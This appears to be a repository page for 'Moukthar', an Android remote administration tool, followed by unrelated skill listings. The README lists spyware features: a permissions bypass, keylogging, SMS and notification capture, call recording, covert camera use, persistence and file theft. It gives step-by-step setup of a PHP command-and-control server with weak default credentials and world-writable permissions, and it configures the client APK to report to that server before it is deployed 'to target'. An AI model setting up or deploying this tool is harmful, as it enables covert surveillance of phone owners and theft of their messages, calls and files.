Moukthar
Android remote administration tool
Install / Use
/learn @Tomiwa-Ot/MouktharREADME
Moukthar
Remote adminitration tool for android
Demo
Features
- Permissions bypass (android 12 below)
- Keylogger
- Notifications listener
- SMS listener
- Phone call recording
- Image capturing and screenshots
- Video recording
- Persistence
- Read & write contacts
- List installed applications
- Download & upload files
- Get device location
Installation
- Clone repository
git clone https://github.com/Tomiwa-Ot/moukthar.git - Install php, composer, mysql, php-mysql driver, apache2 and a2enmod
- Move server files to
/var/www/html/and install dependencies
The default credentials are username:mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web-socket/ composer install cd /var/www chown -R www-data:www-data . chmod -R 777 .androidand password:android - Create new sql user
CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password'; GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost'; FLUSH PRIVILEGES; - Set database credentials in
c2-server/.envandweb-socket/.env - Execute
database.sql - Start web socket server or deploy as service in linux
php Server/web-socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service - Modify
/etc/apache2/sites-available/000-default.conf<VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html/c2-server DirectoryIndex app.php Options -Indexes ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> - Modify
/etc/apache2/apache2.confComment this section #<Directory /> # Options FollowSymLinks # AllowOverride None # Require all denied #</Directory> Add this <Directory /var/www/html/c2-server> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted </Directory> - Increase php file upload max size
/etc/php/*.*/apache2/php.ini; Increase size to permit large file uploads from client upload_max_filesize = 128M ; Set post_max_size to upload_max_filesize + 1 post_max_size = 129M - Set web socket server address in <script> tag in
c2-server/src/View/home.phpandc2-server/src/View/features/files.phpconst ws = new WebSocket('ws://IP_ADDRESS:8080'); - Restart apache using the command below
sudo a2enmod rewrite && sudo service apache2 restart - Set C2 server and web socket server address in client
functionality/Utils.javapublic static final String C2_SERVER = "http://localhost"; public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; - Compile APK using Android Studio and deploy to target
Screenshots

TODO
- Auto scroll logs on dashboard
- Screenshot not working
- Image/Video capturing doesn't work when application isn't in focus
- Downloading files in app using DownloadManager not working
- Listing constituents of a directory doesn't list all files/folders
Related Skills
node-connect
328.4kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
80.9kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
328.4kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
commit-push-pr
80.9kCommit, push, and open a PR
